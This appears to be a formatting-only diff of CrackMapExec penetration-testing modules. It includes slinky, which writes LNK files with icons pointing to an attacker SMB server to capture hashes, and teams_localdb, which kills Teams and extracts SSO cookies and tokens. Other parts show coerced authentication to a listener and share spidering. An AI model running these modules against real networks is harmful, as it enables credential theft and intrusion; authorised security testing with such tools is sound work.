IsPathSupported(self, dce, listener): cme_logger.debug("Sending IsPathSupported!") @@ -203,11 +279,13 @@ class CoerceAuth: request = IsPathSupported() # only NETLOGON and SYSVOL were detected working here # setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED) - request['ShareName'] = '\\\\%s\\NETLOGON\x00' % listener + request["ShareName"] = "\\\\%s\\NETLOGON\x00" % listener dce.request(request) except Exception as e: cme_logger.debug("Something went wrong, check error status => %s", str(e)) - cme_logger.debug("Attack may of may not have worked, check your listener...") - return False + cme_logger.debug( + "Attack may of may not have worked, check your listener..." + ) + return False return True diff --git a/cme/modules/slinky.py b/cme/modules/slinky.py index cec534cf..d68464b1 100644 --- a/cme/modules/slinky.py +++ b/cme/modules/slinky.py @@ -11,6 +11,7 @@ class CMEModule: Original idea and PoC by Justin Angel (@4rch4ngel86) Module by @byt3bl33d3r """ + name = "slinky" description = "Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions" supported_protocols = ["smb"] @@ -35,23 +36,23 @@ class CMEModule: self.cleanup = False - if 'CLEANUP' in module_options: - self.cleanup = bool(module_options['CLEANUP']) + if "CLEANUP" in module_options: + self.cleanup = bool(module_options["CLEANUP"]) - if 'NAME' not in module_options: - context.log.fail('NAME option is required!') + if "NAME" not in module_options: + context.log.fail("NAME option is required!") exit(1) - if not self.cleanup and 'SERVER' not in module_options: - context.log.fail('SERVER option is required!') + if not self.cleanup and "SERVER" not in module_options: + context.log.fail("SERVER option is required!") exit(1) - self.lnk_name = module_options['NAME'] + self.lnk_name = module_options["NAME"] self.lnk_path = f"/tmp/{self.lnk_name}.lnk" self.file_path = ntpath.join("\\", f"{self.lnk_name}.lnk") if not self.cleanup: - self.server = module_options['SERVER'] + self.server = module_options["SERVER"] link = pylnk3.create(self.lnk_path) link.icon = f"\\\\{self.server}\\icons\\icon.ico" link.save() @@ -59,19 +60,32 @@ class CMEModule: def on_login(self, context, connection): shares = connection.shares() for share in shares: - if 'WRITE' in share['access'] and share['name'] not in ['C$', 'ADMIN$', 'NETLOGON']: + if "WRITE" in share["access"] and share["name"] not in [ + "C$", + "ADMIN$", + "NETLOGON", + ]: context.log.success(f"Found writable share: {share['name']}") if not self.cleanup: - with open(self.lnk_path, 'rb') as lnk: + with open(self.lnk_path, "rb") as lnk: try: - connection.conn.putFile(share['name'], self.file_path, lnk.read) - context.log.success(f"Created LNK file on the {share['name']} share") + connection.conn.putFile( + share["name"], self.file_path, lnk.read + ) + context.log.success( + f"Created LNK file on the {share['name']} share" + ) except Exception as e: - context.log.fail(f"Error writing LNK file to share {share['name']}: {e}") + context.log.fail( + f"Error writing LNK file to share {share['name']}: {e}" + ) else: try: - connection.conn.deleteFile(share['name'], self.file_path) - context.log.success(f"Deleted LNK file on the {share['name']} share") + connection.conn.deleteFile(share["name"], self.file_path) + context.log.success( + f"Deleted LNK file on the {share['name']} share" + ) except Exception as e: - context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}") - + context.log.fail( + f"Error deleting LNK file on share {share['name']}: {e}" + ) diff --git a/cme/modules/spider_plus.py b/cme/modules/spider_plus.py index 832421a2..12827b86 100755 --- a/cme/modules/spider_plus.py +++ b/cme/modules/spider_plus.py @@ -12,20 +12,20 @@ from impacket.smbconnection import SessionError CHUNK_SIZE = 4096 -suffixes = ['Bytes', 'KB', 'MB', 'GB', 'TB', 'PB'] +suffixes = ["Bytes", "KB", "MB", "GB", "TB", "PB"] def humansize(nbytes): i = 0 - while nbytes >= 1024 and i < len(suffixes)-1: - nbytes /= 1024. + while nbytes >= 1024 and i < len(suffixes) - 1: + nbytes /= 1024.0 i += 1 - f = ('%.2f' % nbytes).rstrip('0').rstrip('.') - return '%s %s' % (f, suffixes[i]) + f = ("%.2f" % nbytes).rstrip("0").rstrip(".") + return "%s %s" % (f, suffixes[i]) def humaclock(time): - return time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time)) + return time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(time)) def make_dirs(path): @@ -43,12 +43,22 @@ def make_dirs(path): pass -get_list_from_option = lambda opt: list(map(lambda o: o.lower(), filter(bool, opt.split(',')))) +get_list_from_option = lambda opt: list( + map(lambda o: o.lower(), filter(bool, opt.split(","))) +) class SMBSpiderPlus: - - def __init__(self, smb, logger, read_only, exclude_dirs, exclude_exts, max_file_size, output_folder): + def __init__( + self, + smb, + logger, + read_only, + exclude_dirs, + exclude_exts, + max_file_size, + output_folder, + ): self.smb = smb self.host = self.smb.conn.getRemoteHost() self.conn_retry = 5 @@ -81,16 +91,18 @@ class SMBSpiderPlus: filelist = [] try: # Get file list for the current folder - filelist = self.smb.conn.listPath(share, subfolder + '*') + filelist = self.smb.conn.listPath(share, subfolder + "*") except SessionError as e: - self.logger.debug(f'Failed listing files on share "{share}" in directory {subfolder}.') + self.logger.debug( + f'Failed listing files on share "{share}" in directory {subfolder}.' + ) self.logger.debug(str(e)) - if 'STATUS_ACCESS_DENIED' in str(e): - self.logger.debug(f"Cannot list files in directory \"{subfolder}\"") + if "STATUS_ACCESS_DENIED" in str(e): + self.logger.debug(f'Cannot list files in directory "{subfolder}"') - elif 'STATUS_OBJECT_PATH_NOT_FOUND' in str(e): + elif "STATUS_OBJECT_PATH_NOT_FOUND" in str(e): self.logger.debug(f"The directory {subfolder} does not exist.") elif self.reconnect(): @@ -114,7 +126,7 @@ class SMBSpiderPlus: We retry 3 times if there is a SessionError that is not a `STATUS_END_OF_FILE`. """ - chunk = '' + chunk = "" retry = 3 while retry > 0: @@ -142,24 +154,24 @@ class SMBSpiderPlus: try: # Get all available shares for the SMB connection for share in shares: - perms = share['access'] - name = share['name'] + perms = share["access"] + name = share["name"] - self.logger.debug(f"Share \"{name}\" has perms {perms}") + self.logger.debug(f'Share "{name}" has perms {perms}') # We only want to spider readable shares - if not 'READ' in perms: + if not "READ" in perms: continue # `exclude_dirs` is applied to the shares name if name.lower() in self.exclude_dirs: - self.logger.debug(f"Share \"{name}\" has been excluded.") + self.logger.debug(f'Share "{name}" has been excluded.') continue try: # Start the spider at the root of the share folder self.results[name] = {} - self._spider(name, '') + self._spider(name, "") except SessionError: traceback.print_exc() self.logger.fail(f"Got a session error while spidering") @@ -177,9 +189,9 @@ class SMBSpiderPlus: def _spider(self, share, subfolder): self.logger.debug(f'Spider share "{share}" on folder "{subfolder}"') - filelist = self.list_path(share, subfolder + '*') + filelist = self.list_path(share, subfolder + "*") if share.lower() in self.exclude_dirs: - self.logger.debug(f'The directory has been excluded') + self.logger.debug(f"The directory has been excluded") return # For each entry: @@ -196,20 +208,26 @@ class SMBSpiderPlus: continue if result.is_directory(): - if result.get_longname() in ['.', '..']: + if result.get_longname() in [".", ".."]: continue - self._spider(share, next_path + '/') + self._spider(share, next_path + "/") else: # Record the file metadata self.results[share][next_path] = { - 'size': humansize(result.get_filesize()), + "size": humansize(result.get_filesize()), #'ctime': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.get_ctime())), - 'ctime_epoch': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.get_ctime_epoch())), + "ctime_epoch": time.strftime( + "%Y-%m-%d %H:%M:%S", time.localtime(result.get_ctime_epoch()) + ), #'mtime': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.get_mtime())), - 'mtime_epoch': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.get_mtime_epoch())), + "mtime_epoch": time.strftime( + "%Y-%m-%d %H:%M:%S", time.localtime(result.get_mtime_epoch()) + ), #'atime': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.get_atime())), - 'atime_epoch': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.get_atime_epoch())) + "atime_epoch": time.strftime( + "%Y-%m-%d %H:%M:%S", time.localtime(result.get_atime_epoch()) + ), } # The collection logic is here. You can add more checks based @@ -217,15 +235,19 @@ class SMBSpiderPlus: # Check the file extension. We check here to prevent the creation # of a RemoteFile object that perform a remote connection. - file_extension = next_path[next_path.rfind('.')+1:] + file_extension = next_path[next_path.rfind(".") + 1 :] if file_extension in self.exclude_exts: - self.logger.debug(f'The file "{next_path}" has an excluded extension') + self.logger.debug( + f'The file "{next_path}" has an excluded extension' + ) continue # If there is not results in the file but the size is correct, # then we save it if result.get_filesize() > self.max_file_size: - self.logger.debug(f'File {result.get_longname()} has size {result.get_filesize()}') + self.logger.debug( + f"File {result.get_longname()} has size {result.get_filesize()}" + ) continue ## You can add more checks here: date, ... @@ -248,11 +270,11 @@ class SMBSpiderPlus: remote_file.close() except SessionError as e: - if 'STATUS_SHARING_VIOLATION' in str(e): + if "STATUS_SHARING_VIOLATION" in str(e): pass except Exception as e: traceback.print_exc() - self.logger.fail(f'Error reading file {next_path}: {str(e)}') + self.logger.fail(f"Error reading file {next_path}: {str(e)}") def save_file(self, remote_file): # Reset the remote_file to point to the begining of the file @@ -261,16 +283,16 @@ class SMBSpiderPlus: # remove the "\\" before the remote host part file_path = str(remote_file)[2:] # The remote_file.file_name contains '/' - file_path = file_path.replace('/', os.path.sep) - file_path = file_path.replace('\\', os.path.sep) + file_path = file_path.replace("/", os.path.sep) + file_path = file_path.replace("\\", os.path.sep) filename = file_path.split(os.path.sep)[-1] - directory = os.path.join(self.output_folder, file_path[:-len(filename)]) + directory = os.path.join(self.output_folder, file_path[: -len(filename)]) # Create the subdirectories based on the share name and file path self.logger.debug(f'Create directory "{directory}"') make_dirs(directory) - with open(os.path.join(directory, filename), 'wb') as fd: + with open(os.path.join(directory, filename), "wb") as fd: while True: chunk = self.read_chunk(remote_file) if not chunk: @@ -281,46 +303,52 @@ class SMBSpiderPlus: # Save the remote host shares metadatas to a json file # TODO: use the json file as an input to save only the new or modified # files since the last time. - path = os.path.join(self.output_folder, f'{self.host}.json') - with open(path, 'w', encoding='utf-8') as fd: + path = os.path.join(self.output_folder, f"{self.host}.json") + with open(path, "w", encoding="utf-8") as fd: fd.write(json.dumps(results, indent=4, sort_keys=True)) class CMEModule: """ - Spider plus module - Module by @vincd + Spider plus module + Module by @vincd """ - name = 'spider_plus' - description = 'List files on the target server (excluding `DIR` directories and `EXT` extensions) and save them to the `OUTPUT` directory if they are smaller then `SIZE`' - supported_protocols = ['smb'] - opsec_safe= True # Does the module touch disk? - multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time? + name = "spider_plus" + description = "List files on the target server (excluding `DIR` directories and `EXT` extensions) and save them to the `OUTPUT` directory if they are smaller then `SIZE`" + supported_protocols = ["smb"] + opsec_safe = True # Does the module touch disk? + multiple_hosts = ( + True # Does it make sense to run this module on multiple hosts at a time? + ) def options(self, context, module_options): - """ - READ_ONLY Only list files and put the name into a JSON (default: True) - EXCLUDE_EXTS Extension file to exclude (Default: ico,lnk) - EXCLUDE_DIR Directory to exclude (Default: print$) - MAX_FILE_SIZE Max file size allowed to dump (Default: 51200) - OUTPUT Path of the remote folder where the dump will occur (Default: /tmp/cme_spider_plus) + READ_ONLY Only list files and put the name into a JSON (default: True) + EXCLUDE_EXTS Extension file to exclude (Default: ico,lnk) + EXCLUDE_DIR Directory to exclude (Default: print$) + MAX_FILE_SIZE Max file size allowed to dump (Default: 51200) + OUTPUT Path of the remote folder where the dump will occur (Default: /tmp/cme_spider_plus) """ - self.read_only = module_options.get('READ_ONLY', True) - self.exclude_exts = get_list_from_option(module_options.get('EXCLUDE_EXTS', 'ico,lnk')) - self.exlude_dirs = get_list_from_option(module_options.get('EXCLUDE_DIR', 'print$')) - self.max_file_size = int(module_options.get('SIZE', 50 * 1024)) - self.output_folder = module_options.get('OUTPUT', os.path.join('/tmp', 'cme_spider_plus')) + self.read_only = module_options.get("READ_ONLY", True) + self.exclude_exts = get_list_from_option( + module_options.get("EXCLUDE_EXTS", "ico,lnk") + ) + self.exlude_dirs = get_list_from_option( + module_options.get("EXCLUDE_DIR", "print$") + ) + self.max_file_size = int(module_options.get("SIZE", 50 * 1024)) + self.output_folder = module_options.get( + "OUTPUT", os.path.join("/tmp", "cme_spider_plus") + ) def on_login(self, context, connection): - - context.log.display('Started spidering plus with option:') - context.log.display(' DIR: {dir}'.format(dir=self.exlude_dirs)) - context.log.display(' EXT: {ext}'.format(ext=self.exclude_exts)) - context.log.display(' SIZE: {size}'.format(size=self.max_file_size)) - context.log.display(' OUTPUT: {output}'.format(output=self.output_folder)) + context.log.display("Started spidering plus with option:") + context.log.display(" DIR: {dir}".format(dir=self.exlude_dirs)) + context.log.display(" EXT: {ext}".format(ext=self.exclude_exts)) + context.log.display(" SIZE: {size}".format(size=self.max_file_size)) + context.log.display(" OUTPUT: {output}".format(output=self.output_folder)) spider = SMBSpiderPlus( connection, diff --git a/cme/modules/spooler.py b/cme/modules/spooler.py index ea2ca27d..5c169a2e 100644 --- a/cme/modules/spooler.py +++ b/cme/modules/spooler.py @@ -4,13 +4,16 @@ # https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/rpcdump.py from impacket import uuid from impacket.dcerpc.v5 import transport, epm -from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \ - RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \ - RPC_PROXY_RPC_OUT_DATA_404_ERR +from impacket.dcerpc.v5.rpch import ( + RPC_PROXY_INVALID_RPC_PORT_ERR, + RPC_PROXY_CONN_A1_0X6BA_ERR, + RPC_PROXY_CONN_A1_404_ERR, + RPC_PROXY_RPC_OUT_DATA_404_ERR, +) KNOWN_PROTOCOLS = { - 135: {'bindstr': r'ncacn_ip_tcp:%s[135]'}, - 445: {'bindstr': r'ncacn_np:%s[\pipe\epmapper]'}, + 135: {"bindstr": r"ncacn_ip_tcp:%s[135]"}, + 445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"}, } @@ -19,6 +22,7 @@ class CMEModule: For printnightmare: detect if print spooler is enabled or not. Then use @cube0x0's project https://github.com/cube0x0/CVE-2021-1675 or Mimikatz from Benjamin Delpy Module by @mpgn_x64 """ + name = "spooler" description = "Detect if print spooler is enabled or not" supported_protocols = ["smb"] @@ -36,20 +40,25 @@ class CMEModule: PORT Port to check (defaults to 135) """ self.port = 135 - if 'PORT' in module_options: - self.port = int(module_options['PORT']) + if "PORT" in module_options: + self.port = int(module_options["PORT"]) def on_login(self, context, connection): - entries = [] lmhash = getattr(connection, "lmhash", "") nthash = getattr(connection, "nthash", "") - self.__stringbinding = KNOWN_PROTOCOLS[self.port]['bindstr'] % connection.host - context.log.debug('StringBinding %s' % self.__stringbinding) + self.__stringbinding = KNOWN_PROTOCOLS[self.port]["bindstr"] % connection.host + context.log.debug("StringBinding %s" % self.__stringbinding) rpctransport = transport.DCERPCTransportFactory(self.__stringbinding) - rpctransport.set_credentials(connection.username, connection.password, connection.domain, lmhash, nthash) - rpctransport.setRemoteHost(connection.host if not connection.kerberos else connection.hostname + "." + connection.domain) + rpctransport.set_credentials( + connection.username, connection.password, connection.domain, lmhash, nthash + ) + rpctransport.setRemoteHost( + connection.host + if not connection.kerberos + else connection.hostname + "." + connection.domain + ) rpctransport.set_dport(self.port) if connection.kerberos: @@ -58,51 +67,70 @@ class CMEModule: try: entries = self.__fetch_list(rpctransport) except Exception as e: - error_text = 'Protocol failed: %s' % e + error_text = "Protocol failed: %s" % e context.log.critical(error_text) - if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or \ - RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \ - RPC_PROXY_CONN_A1_404_ERR in error_text or \ - RPC_PROXY_CONN_A1_0X6BA_ERR in error_text: - context.log.critical("This usually means the target does not allow " - "to connect to its epmapper using RpcProxy.") + if ( + RPC_PROXY_INVALID_RPC_PORT_ERR in error_text + or RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text + or RPC_PROXY_CONN_A1_404_ERR in error_text + or RPC_PROXY_CONN_A1_0X6BA_ERR in error_text + ): + context.log.critical( + "This usually means the target does not allow " + "to connect to its epmapper using RpcProxy." + ) return # Display results. endpoints = {} # Let's group the UUIDS for entry in entries: - binding = epm.PrintStringBinding(entry['tower']['Floors']) - tmp_uuid = str(entry['tower']['Floors'][0]) + binding = epm.PrintStringBinding(entry["tower"]["Floors"]) + tmp_uuid = str(entry["tower"]["Floors"][0]) if (tmp_uuid in endpoints) is not True: endpoints[tmp_uuid] = {} - endpoints[tmp_uuid]['Bindings'] = list() - if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmp_uuid))[:18] in epm.KNOWN_UUIDS: - endpoints[tmp_uuid]['EXE'] = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmp_uuid))[:18]] + endpoints[tmp_uuid]["Bindings"] = list() + if ( + uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmp_uuid))[:18] + in epm.KNOWN_UUIDS + ): + endpoints[tmp_uuid]["EXE"] = epm.KNOWN_UUIDS[ + uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmp_uuid))[:18] + ] else: - endpoints[tmp_uuid]['EXE'] = 'N/A' - endpoints[tmp_uuid]['annotation'] = entry['annotation'][:-1].decode('utf-8') - endpoints[tmp_uuid]['Bindings'].append(binding) + endpoints[tmp_uuid]["EXE"] = "N/A" + endpoints[tmp_uuid]["annotation"] = entry["annotation"][:-1].decode("utf-8") + endpoints[tmp_uuid]["Bindings"].append(binding) if tmp_uuid[:36] in epm.KNOWN_PROTOCOLS: - endpoints[tmp_uuid]['Protocol'] = epm.KNOWN_PROTOCOLS[tmp_uuid[:36]] + endpoints[tmp_uuid]["Protocol"] = epm.KNOWN_PROTOCOLS[tmp_uuid[:36]] else: - endpoints[tmp_uuid]['Protocol'] = "N/A" - + endpoints[tmp_uuid]["Protocol"] = "N/A" + for endpoint in list(endpoints.keys()): - if "MS-RPRN" in endpoints[endpoint]['Protocol']: - context.log.debug("Protocol: %s " % endpoints[endpoint]['Protocol']) - context.log.debug("Provider: %s " % endpoints[endpoint]['EXE']) - context.log.debug("UUID : %s %s" % (endpoint, endpoints[endpoint]['annotation'])) + if "MS-RPRN" in endpoints[endpoint]["Protocol"]: + context.log.debug("Protocol: %s " % endpoints[endpoint]["Protocol"]) + context.log.debug("Provider: %s " % endpoints[endpoint]["EXE"]) + context.log.debug( + "UUID : %s %s" % (endpoint, endpoints[endpoint]["annotation"]) + ) context.log.debug("Bindings: ") - for binding in endpoints[endpoint]['Bindings']: + for binding in endpoints[endpoint]["Bindings"]: context.log.debug(" %s" % binding) context.log.debug("") - context.log.highlight('Spooler service enabled') + context.log.highlight("Spooler service enabled") try: host = context.db.get_hosts(connection.host)[0] - context.db.add_host(host.ip, host.hostname, host.domain, host.os, host.smbv1, host.signing, spooler=True) + context.db.add_host( + host.ip, + host.hostname, + host.domain, + host.os, + host.smbv1, + host.signing, + spooler=True, + ) except Exception as e: context.log.debug(f"Error updating spooler status in database") break @@ -122,4 +150,3 @@ class CMEModule: resp = epm.hept_lookup(None, dce=dce) dce.disconnect() return resp - diff --git a/cme/modules/subnets.py b/cme/modules/subnets.py index 83286df1..9e6f475f 100644 --- a/cme/modules/subnets.py +++ b/cme/modules/subnets.py @@ -3,104 +3,161 @@ from impacket.ldap import ldapasn1 as ldapasn1_impacket + def searchResEntry_to_dict(results): data = {} - for attr in results['attributes']: - key = str(attr['type']) - value = str(attr['vals'][0]) + for attr in results["attributes"]: + key = str(attr["type"]) + value = str(attr["vals"][0]) data[key] = value return data + class CMEModule: """ - Retrieves the different Sites and Subnets of an Active Directory + Retrieves the different Sites and Subnets of an Active Directory - Authors: - Podalirius: @podalirius_ + Authors: + Podalirius: @podalirius_ """ def options(self, context, module_options): """ - showservers Toggle printing of servers (default: true) + showservers Toggle printing of servers (default: true) """ self.showservers = True - if module_options and 'SHOWSERVERS' in module_options: - if module_options['SHOWSERVERS'].lower() == "true" or module_options['SHOWSERVERS'] == "1": + if module_options and "SHOWSERVERS" in module_options: + if ( + module_options["SHOWSERVERS"].lower() == "true" + or module_options["SHOWSERVERS"] == "1" + ): self.showservers = True - elif module_options['SHOWSERVERS'].lower() == "false" or module_options['SHOWSERVERS'] == "0": + elif ( + module_options["SHOWSERVERS"].lower() == "false" + or module_options["SHOWSERVERS"] == "0" + ): self.showservers = False else: print("Could not parse showservers option.") - name = 'subnets' - description = 'Retrieves the different Sites and Subnets of an Active Directory' - supported_protocols = ['ldap'] + name = "subnets" + description = "Retrieves the different Sites and Subnets of an Active Directory" + supported_protocols = ["ldap"] opsec_safe = True multiple_hosts = False def on_login(self, context, connection): - dn = ','.join(["DC=%s" % part for part in connection.domain.split('.')][-2:]) + dn = ",".join(["DC=%s" % part for part in connection.domain.split(".")][-2:]) - context.log.display('Getting the Sites and Subnets from domain') + context.log.display("Getting the Sites and Subnets from domain") list_sites = connection.ldapConnection.search( searchBase="CN=Configuration,%s" % dn, - searchFilter='(objectClass=site)', - attributes=['distinguishedName', 'name', 'description'], - sizeLimit=999 + searchFilter="(objectClass=site)", + attributes=["distinguishedName", "name", "description"], + sizeLimit=999, ) for site in list_sites: if isinstance(site, ldapasn1_impacket.SearchResultEntry) is not True: continue site = searchResEntry_to_dict(site) - site_dn = site['distinguishedName'] - site_name = site['name'] + site_dn = site["distinguishedName"] + site_name = site["name"] site_description = "" if "description" in site.keys(): - site_description = site['description'] + site_description = site["description"] # Getting subnets of this site list_subnets = connection.ldapConnection.search( searchBase="CN=Sites,CN=Configuration,%s" % dn, - searchFilter='(siteObject=%s)' % site_dn, - attributes=['distinguishedName', 'name'], - sizeLimit=999 + searchFilter="(siteObject=%s)" % site_dn, + attributes=["distinguishedName", "name"], + sizeLimit=999, ) - if len([subnet for subnet in list_subnets if isinstance(subnet, ldapasn1_impacket.SearchResultEntry)]) == 0: - context.log.highlight("Site \"%s\"" % site_name) + if ( + len( + [ + subnet + for subnet in list_subnets + if isinstance(subnet, ldapasn1_impacket.SearchResultEntry) + ] + ) + == 0 + ): + context.log.highlight('Site "%s"' % site_name) else: for subnet in list_subnets: - if isinstance(subnet, ldapasn1_impacket.SearchResultEntry) is not True: + if ( + isinstance(subnet, ldapasn1_impacket.SearchResultEntry) + is not True + ): continue subnet = searchResEntry_to_dict(subnet) - subnet_dn = subnet['distinguishedName'] - subnet_name = subnet['name'] + subnet_dn = subnet["distinguishedName"] + subnet_name = subnet["name"] if self.showservers: # Getting machines in these subnets list_servers = connection.ldapConnection.search( searchBase=site_dn, - searchFilter='(objectClass=server)', - attributes=['cn'], - sizeLimit=999 + searchFilter="(objectClass=server)", + attributes=["cn"], + sizeLimit=999, ) - if len([server for server in list_servers if isinstance(server, ldapasn1_impacket.SearchResultEntry)]) == 0: + if ( + len( + [ + server + for server in list_servers + if isinstance( + server, ldapasn1_impacket.SearchResultEntry + ) + ] + ) + == 0 + ): if len(site_description) != 0: - context.log.highlight("Site \"%s\" (Subnet:%s) (description:\"%s\")" % (site_name, subnet_name, site_description)) + context.log.highlight( + 'Site "%s" (Subnet:%s) (description:"%s")' + % (site_name, subnet_name, site_description) + ) else: - context.log.highlight("Site \"%s\" (Subnet:%s)" % (site_name, subnet_name)) + context.log.highlight( + 'Site "%s" (Subnet:%s)' % (site_name, subnet_name) + ) else: for server in list_servers: - if isinstance(server, ldapasn1_impacket.SearchResultEntry) is not True: + if ( + isinstance( + server, ldapasn1_impacket.SearchResultEntry + ) + is not True + ): continue - server = searchResEntry_to_dict(server)['cn'] + server = searchResEntry_to_dict(server)["cn"] if len(site_description) != 0: - context.log.highlight("Site \"%s\" (Subnet:%s) (description:\"%s\") (Server:%s)" % (site_name, subnet_name, site_description, server)) + context.log.highlight( + 'Site "%s" (Subnet:%s) (description:"%s") (Server:%s)' + % ( + site_name, + subnet_name, + site_description, + server, + ) + ) else: - context.log.highlight("Site \"%s\" (Subnet:%s) (Server:%s)" % (site_name, subnet_name, server)) + context.log.highlight( + 'Site "%s" (Subnet:%s) (Server:%s)' + % (site_name, subnet_name, server) + ) else: if len(site_description) != 0: - context.log.highlight("Site \"%s\" (Subnet:%s) (description:\"%s\")" % (site_name, subnet_name, site_description)) + context.log.highlight( + 'Site "%s" (Subnet:%s) (description:"%s")' + % (site_name, subnet_name, site_description) + ) else: - context.log.highlight("Site \"%s\" (Subnet:%s)" % (site_name, subnet_name)) + context.log.highlight( + 'Site "%s" (Subnet:%s)' % (site_name, subnet_name) + ) diff --git a/cme/modules/teams_localdb.py b/cme/modules/teams_localdb.py index e439d17d..af8dff1e 100644 --- a/cme/modules/teams_localdb.py +++ b/cme/modules/teams_localdb.py @@ -5,50 +5,54 @@ import sqlite3 class CMEModule: - - name = 'teams_localdb' + name = "teams_localdb" description = "Retrieves the cleartext ssoauthcookie from the local Microsoft Teams database, if teams is open we kill all Teams process" - supported_protocols = ['smb'] + supported_protocols = ["smb"] opsec_safe = True multiple_hosts = False def options(self, context, module_options): - """ - """ + """ """ def on_admin_login(self, context, connection): - context.log.display('Killing all Teams process to open the cookie file') + context.log.display("Killing all Teams process to open the cookie file") connection.execute("taskkill /F /T /IM teams.exe") - #sleep(3) + # sleep(3) found = 0 - paths = connection.spider('C$', folder='Users', regex=['[a-zA-Z0-9]*'], depth=0) - with open("/tmp/teams_cookies2.txt","wb") as f: + paths = connection.spider("C$", folder="Users", regex=["[a-zA-Z0-9]*"], depth=0) + with open("/tmp/teams_cookies2.txt", "wb") as f: for path in paths: try: - connection.conn.getFile('C$', path + "/AppData/Roaming/Microsoft/Teams/Cookies", f.write) + connection.conn.getFile( + "C$", path + "/AppData/Roaming/Microsoft/Teams/Cookies", f.write + ) context.log.highlight("Found Cookie file in path " + path) found = 1 - self.parse_file(context, 'skypetoken_asm') - self.parse_file(context, 'SSOAUTHCOOKIE') + self.parse_file(context, "skypetoken_asm") + self.parse_file(context, "SSOAUTHCOOKIE") f.seek(0) f.trunkate() except Exception as e: - if 'STATUS_SHARING_VIOLATION' in str(e): + if "STATUS_SHARING_VIOLATION" in str(e): context.log.debug(str(e)) context.log.highlight("Found Cookie file in path " + path) - context.log.fail('Cannot retrieve file, most likely Teams is running which prevents us from retrieving the Cookies database') + context.log.fail( + "Cannot retrieve file, most likely Teams is running which prevents us from retrieving the Cookies database" + ) if found == 0: - context.log.display('No cookie file found in Users folder') + context.log.display("No cookie file found in Users folder") @staticmethod def parse_file(context, name): try: - conn = sqlite3.connect('/tmp/teams_cookies2.txt') + conn = sqlite3.connect("/tmp/teams_cookies2.txt") c = conn.cursor() c.execute("SELECT value FROM cookies WHERE name = '" + name + "'") row = c.fetchone() if row is None: - context.log.fail("No " + name + " present in Microsoft Teams Cookies database") + context.log.fail( + "No " + name + " present in Microsoft Teams Cookies database" + ) else: context.log.success("Succesfully extracted " + name + ": ") context.log.success(row[0]) diff --git a/cme/modules/test_connection.py b/cme/modules/test_connection.py index 701bd657..9a90fe1d 100644 --- a/cme/modules/test_connection.py +++ b/cme/modules/test_connection.py @@ -3,38 +3,39 @@ from sys import exit + class CMEModule: """ - Executes the Test-Connection PowerShell cmdlet - Module by @byt3bl33d3r + Executes the Test-Connection PowerShell cmdlet + Module by @byt3bl33d3r """ - name = 'test_connection' + name = "test_connection" description = "Pings a host" - supported_protocols = ['smb', 'mssql'] + supported_protocols = ["smb", "mssql"] opsec_safe = True multiple_hosts = True def options(self, context, module_options): """ - HOST Host to ping + HOST Host to ping """ self.host = None - if 'HOST' not in module_options: - context.log.fail('HOST option is required!') + if "HOST" not in module_options: + context.log.fail("HOST option is required!") exit(1) - self.host = module_options['HOST'] + self.host = module_options["HOST"] def on_admin_login(self, context, connection): - command = 'Test-Connection {} -quiet -count 1'.format(self.host) + command = "Test-Connection {} -quiet -count 1".format(self.host) output = connection.ps_execute(command, get_output=True) if output: output = output.strip() if bool(output) is True: - context.log.success('Pinged successfully') + context.log.success("Pinged successfully") elif bool(output) is False: - context.log.fail('Host unreachable') + context.log.fail("Host unreachable") diff --git a/cme/modules/uac.py b/cme/modules/uac.py index cbf0d362..f17e9544 100644 --- a/cme/modules/uac.py +++ b/cme/modules/uac.py @@ -19,23 +19,28 @@ class CMEModule: logging.debug("test") def options(self, context, module_options): - """ - """ + """ """ def on_admin_login(self, context, connection): remoteOps = RemoteOperations(connection.conn, False) remoteOps.enableRegistry() ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) - regHandle = ans['phKey'] - ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System') - keyHandle = ans['phkResult'] - dataType, uac_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'EnableLUA') + regHandle = ans["phKey"] + ans = rrp.hBaseRegOpenKey( + remoteOps._RemoteOperations__rrp, + regHandle, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", + ) + keyHandle = ans["phkResult"] + dataType, uac_value = rrp.hBaseRegQueryValue( + remoteOps._RemoteOperations__rrp, keyHandle, "EnableLUA" + ) if uac_value == 1: - context.log.highlight('UAC Status: 1 (UAC Enabled)') + context.log.highlight("UAC Status: 1 (UAC Enabled)") elif uac_value == 0: - context.log.highlight('UAC Status: 0 (UAC Disabled)') + context.log.highlight("UAC Status: 0 (UAC Disabled)") rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle) remoteOps.finish() diff --git a/cme/modules/user_desc.py b/cme/modules/user_desc.py index c2ab62c7..ae7a6010 100644 --- a/cme/modules/user_desc.py +++ b/cme/modules/user_desc.py @@ -13,6 +13,7 @@ class CMEModule: Module by Tobias Neitzel (@qtc_de) """ + name = "user-desc" description = "Get user descriptions stored in Active Directory" 